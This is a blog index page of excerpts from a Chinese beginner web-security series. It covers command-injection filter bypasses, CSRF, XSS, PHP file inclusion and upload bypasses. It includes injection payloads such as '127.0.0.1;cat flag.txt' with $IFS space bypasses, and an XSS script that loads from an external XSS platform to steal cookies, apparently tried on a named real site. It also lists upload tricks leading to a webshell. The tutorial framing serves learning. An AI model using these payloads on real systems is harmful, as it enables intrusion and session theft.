网安入门21-RCE（绕过方法梳理）
REC中的命令执行Ping原理容易理解，但是姿势点众多
例如我们原本的Payload：127.0.0.1;cat flag.txt对于这个payload，有这么几种过滤方法：
过滤用分号；
过滤空格
过滤关键字cat，flag
过滤反斜杠 /
绕过空格12345678$IFS$9、 ${IFS}、%09(tab)、$IFS、< 、<>、%20(space)、$IFS$1 cat$IFS$9flag 优先尝试，成功率高cat${IFS}flagcat%09flagcat%20flagcat<flagcat<>flag{cat,flag}
kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格，这里通过变量的方式巧妙绕过)
IFS是linux中的一个环境变量IFS（Internal Field Separator）是Linux存在的环境变量，是内部字段分隔符9表示当前系统shell进程的第九个参数，通常是一 ...
网安入门20-RCE（命令执行Ping）
初窥RCERCE(remote command/code execute ，远程命令执行)命令执行一般发生在远程，故被称为远程命令执行。分为远程命令执行ping和远程代码执行evel。命令执行是在目标服务器上任意执行系统命令。它属于高危漏洞之一，也属于代码执行的范畴。命令执行漏洞与文件上传漏洞类似，攻击原理易于理解，但姿势点多。
ping命令常用网络命令：ping命令的使用Ping命令的主要作用是通过发送数据包并接收应答信息来检测两台计算机之间的网络。ping是一个十分基本但又十分重要的TCP/IP网络工具。最早用来方便运维人员检查系统，现在它的作用主要为：
通常用来检测网络的是否连通和测试网络速度；
也可以根据域名得到相应主机的IP地址；
根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
因为具备以上功能，ping命令常常被黑客用来进行网络扫描和攻击。
ping命令的最简单用法是在命令提示符下输入：ping 对方IP地址 linux指令 123ping -c(设置 ping 的次数，默认无限次，可选) 等价于Windows ...
网安入门19-CSRF
CSRF介绍CSRF是什么
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。
攻击方式
攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账…造成的问题包括：个人隐私泄露以及财产安全。
攻击原理从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：
1.登录受信任网站A，并在本地生成Cookie。
2.在不登出A的情况下，访问危险网站B。
CSRF和XSS的区别
==XSS==通过盗取网站内的已有的用户的身份，然后再执行相关操作
==CSRF==通过伪装（伪造、更改状态的请求）用户身份（即盗用身份），通过服务器身份认证后，然后发送恶意请求（服务器会认为请求是合法的），但是服务器给出响应肯定是给真实的那个用户
防御方式目前防御 CSRF ...
网安入门18-XSS（靶场实战）
HTML实体化编码为了避免 XSS 攻击，会将<>编码为<与>，这些就是 HTML 实体编码。
编码前
编码后
不可分的空格
< (小于符号)
<
> (大于符号)
>
& (与符号)
&
″ (双引号)
"
‘ (单引号)
'
© (版权符号)
©
实体编码1234he.encode('<img src=""></img>') // "<img src=""></img>" // 转义he.escape('<img src=""></img>') // "<img sr ...
网安入门17-XSS（打Cookie）
危害：获取Cookie 开始学习反射型XSS时不知道有什么危害，弹个1没啥用，于是我们利用经典的<script>alert(document.cookie)</script>展开攻击经过这波操作，我们获得了 敏感信息PHPSESSID=94a7gvd2icb3hva0u255jjadl0
反射型也是一样的，在Edge中存好，用Chrome打开，弹的是两个不同的Cookie
打Cookie实战目标：云图AI开放平台来到这个实战网站，两个浏览器注册两个账号zyh666，和zyh999，由于同源策略，Edge和火狐登录同一URL不共享cookie发现一个搜索框，测试可以弹，证明这个网站存在XSS此时4个步骤以及完成了第一步，接下来的中间人可以选择一个云服务器，也可以用一个XSS平台XSS平台-XSS安全测试平台在这个平台创建一个项目，选择无keepsession查看代码选项，恶意JS选择第一条payload复制到网站的URL中，构造钓鱼链接恶意JS：<sCRiPt sRC=//xss.yt/WnT3></sCrIpT>
钓鱼链接：
...
网安入门16-XSS（三种类型）
什么是XSS漏洞——来自Google GeminiXSS漏洞，全称跨站脚本攻击（Cross-Site Scripting），是代码注入的一种。它允许恶意用户将代码注入到网页上，原理是攻击者将恶意代码注入到可信网站的页面中，当用户浏览该页面时，恶意代码就会被浏览器执行，从而达到攻击者的目的。
XSS攻击的常见危害包括：
盗取用户敏感信息，如Cookie、账号密码等；
控制用户浏览器，进行钓鱼攻击、重定向等；
篡改网页内容，进行欺诈等。
XSS漏洞的常见类型包括：
反射型XSS：攻击者将恶意代码通过URL参数、表单提交等方式注入到目标网页中，当用户访问该网页时，恶意代码就会被执行；
存储型XSS：攻击者将恶意代码注入到数据库等存储介质中，当用户访问包含恶意代码的网页时，恶意代码就会被执行；
DOM型XSS：攻击者利用JavaScript代码动态地将恶意代码注入到网页中，当用户访问该网页时，恶意代码就会被执行。
XSS漏洞的防范措施包括：
对用户输入进行严格的过滤和验证；
对输出内容进行转义处理；
使用安全的编码规范；
更新浏览器和Web服务器软件。
我的理解 跨站脚本攻击XSS ...
网安入门15-文件包含（伪协议总结）
php://[输入输出流]跟**http://**一样，这是php的一个特定的协议格式，统称为伪协议，这是所有伪协议的父类php:// 可用于以下目的：
读取来自用户输入的数据
写入数据到客户端浏览器
记录错误信息
php://filter条件
allow_url_fopen:off/on
allow_url_include:off/on
作用设计用于数据流打开时的筛选过滤应用。对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。
说明php://filter可获取指定文件源码，如果再利用包含函数漏洞，php://filter流会被当作php文件执行，一般对其进行编码，使其不被执行，获取到编码后解码，从而达到任意文件的读取
用法两个用法本质一样
?filename=php://fi ...
网安入门14-文件包含（file协议）
什么是文件包含漏洞——来自ChatGPT4文件包含漏洞是指应用程序在加载文件时，允许用户控制被加载文件的名称，从而导致恶意代码的执行或敏感信息的泄露。文件包含漏洞主要分为两种：
本地文件包含漏洞（LFI） ：攻击者可以包含服务器本地的任意文件，包括系统文件、配置文件、数据库文件等。
远程文件包含漏洞（RFI）：攻击者可以包含远程服务器上的任意文件，包括其他网站的文件、恶意网站的文件等。
文件包含漏洞的危害性很大，攻击者可以利用该漏洞来执行以下操作：
执行任意代码：攻击者可以通过包含恶意的 PHP 脚本或其他可执行文件来执行任意代码，从而控制服务器。
窃取敏感信息：攻击者可以通过包含包含敏感信息的文件来窃取用户的密码、信用卡信息等敏感信息。
植入后门：攻击者可以通过包含包含后门的文件来植入后门，从而方便日后进行攻击。
以下是一些防范文件包含漏洞的措施：
在开发应用程序时，应使用白名单的方式来控制用户输入的文件名称，仅允许包含白名单中指定的文件。
在开发应用程序时，应对用户输入的文件名称进行严格的过滤，确保文件名称不包含任何特殊字符，例如 ../ 等。
关闭不必要的功能，例如远程 ...
网安入门13-文件上传（htaccess，其他绕过）
空格绕过，点号绕过Pass-07直接上传肯定是失败的
把文件名1.php改成1.php.或1.php_(下划线为空格)，这种命名方式在windows系统里是不被允许的，所以需要在burp之类里进行修改，然后绕过验证后，会被windows系统自动去掉后面的点和空格，但要注意Unix/Linux系统没有这个特性。
在php后加一个空格
Pass-08
在php后加一个点
Htaccess绕过
htaccess文件是一个用于Apache Web服务器的配置文件。它允许在不修改主服务器配置文件的情况下，对单个目录（及其子目录）进行配置。这种方式使得网站管理员可以对特定目录应用特定的设置，例如URL重写、访问控制、MIME类型等。
htaccess的主要功能包括：
重定向和URL重写：可以将旧的URL重定向到新的URL，或者实现更友好的URL结构。
访问控制：可以限制特定IP地址或用户代理访问网站，或者要求用户提供用户名和密码才能访问某些目录。
自定义错误页面：可以为特定的HTTP错误代码（如404页面未找到）设置自定义错误页面。
MIME类型：可以为特定文件扩展名定义MIM ...
网安入门12-文件上传（黑白名单，00截断）
黑名单绕过Pass-03有的时候后端限制了一些黑名单，比如过滤后缀名.php我们就可以用黑名单里没有的后缀名进行绕过，例如：
大小写：.phP .pHp .AsP
php1 .php2 .php3 .php9 .phtml（成功率较高）
特殊文件名绕过
比如发送的htp包里把文件名改成test.asp.或test.asp_(下划线为空格)，这种命名方式在windows系统里是不被允许的，所以需要在burp之类里进行修改，然后绕过验证后，会被windows.系统自动去掉后面的点和空格，但要注意Unix/Linux系统没有这个特性。
于是我们先上传一个shell.jpg，然后抓包把后缀名改为.php1发现浏览器按照原文展示，并没有按照php解析这个木马，那我们就尝试别的后缀3我尝试了php1-9，都不行，好在最后尝试了一下phtml，成功了，最后蚁剑一连就行啦
白名单绕过-GET型00截断当我们遇到白名单了，只允许上传.jpg|.png|.gif这里先介绍0x00是一个Hex编码，他表示一个空字符（可以理解为一个不 ...